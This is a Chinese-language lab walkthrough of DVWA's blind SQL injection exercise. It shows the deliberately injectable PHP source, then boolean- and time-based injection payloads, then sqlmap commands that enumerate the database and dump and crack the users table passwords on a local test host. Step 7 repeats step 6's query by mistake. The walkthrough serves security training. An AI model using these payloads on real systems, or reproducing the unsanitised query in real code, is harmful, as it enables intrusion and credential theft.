DVWA——SQL Injection (Blind)(low)
SQL Injection (Blind)
介面
原始碼
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston" ], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn' t!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
程式碼分析
通過查詢使用者輸入的id是否存在,若存在則列印:User ID exists in the database;若不存在,則列印:User ID is MISSING from the database。可以看到對使用者輸入的id並沒有進行合法性判斷,存在sql漏洞
滲透步驟
給出三種思路,一種是基於布林的盲注,一種是基於時間的盲注,最後一種是使用sqlmap獲得結果
一、基於布林的盲注
第一步:構建語句:1’ and 1=1#
檢視結果,發現給出存在提示
第二步:構建語句:1’ and 1=2#
檢視結果,發現給出不存在提示。從第1,2步可以看到若後面的語句正確則會提示存在,反之提示不存在
第三步:猜當前資料庫中標的數量,構建語句:1’ and length(select count(table_name) from information_schema.tables where table_schema=database())=x#
,通過改變x的值,當提示存在時,x的值就代表有幾個表。結果顯示x=2時,提示存在
第四步:猜第一個表名長度,構建語句:1’ and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=x#
,改變x的值,直到系統提示存在,x就是表名長度,結果:x=9
第五步:使用2分發猜出表名,構建語句:1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>x#
,其中為字母的ascii值。65~90為26個大寫英文字母,97~122號為26個小寫英文字母首先讓x=97,檢視是否是小寫,再讓x=109以此類推,猜出表名為:guestbook、users
第六步:猜表的第一個欄位長度,構建語句:1’ and length(select column_name from information_schema.columns where table_name= ’users’ limit 0,1)=x#
,方法同第四步,結果x=8
第七步:猜表的第一個欄位,構建語句:1’ and length(select column_name from information_schema.columns where table_name= ’users’ limit 0,1)=x#
,方法同第五步。
二、基於時間的盲注
第一步:猜是否存在基於時間的盲注,輸入:1’ and sleep(5)#
之後,感覺到明顯延遲;輸入1 and sleep(5)#之後,沒有延遲。由此判斷出存在字元型的時間盲注
第二步:和基於布林的盲注一樣的步驟,猜資料庫表名,構建語句:1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #
,沒有延遲;1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
明顯延遲,說明第一個表名有9個字元。
第三步:之後構建sql語句和布林一樣,只是要新增sleep(5),並判斷延遲。
三、使用sqlmap,
win10安裝sqlmap
第一步:輸入任意東西,使用burp suit抓包,獲取目的地址:192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
;cookie:security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5
第二步:使用sqlmap對網址進行注入測試,輸入:sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch
,等待片刻後sqlmap給出了測試結果,可以用三種方式注入:Boolean,error-base以及time
第三步:使用sqlmap檢視資料庫,輸入:sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch --dbs
第四步:檢視dvwa資料庫中的內容,輸入:sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch -D dvwa --tables
第五步:檢視users表中的內容,輸入:sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch -D dvwa -T users --columns
第六步:檢視user以及password中的內容,輸入:sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch -D dvwa -T users -C “user,password“ --dump
,之後可以看到sqlmap對加密的密碼進行解碼的過程,等一會讓sqlmap解碼完成後可以看到明文。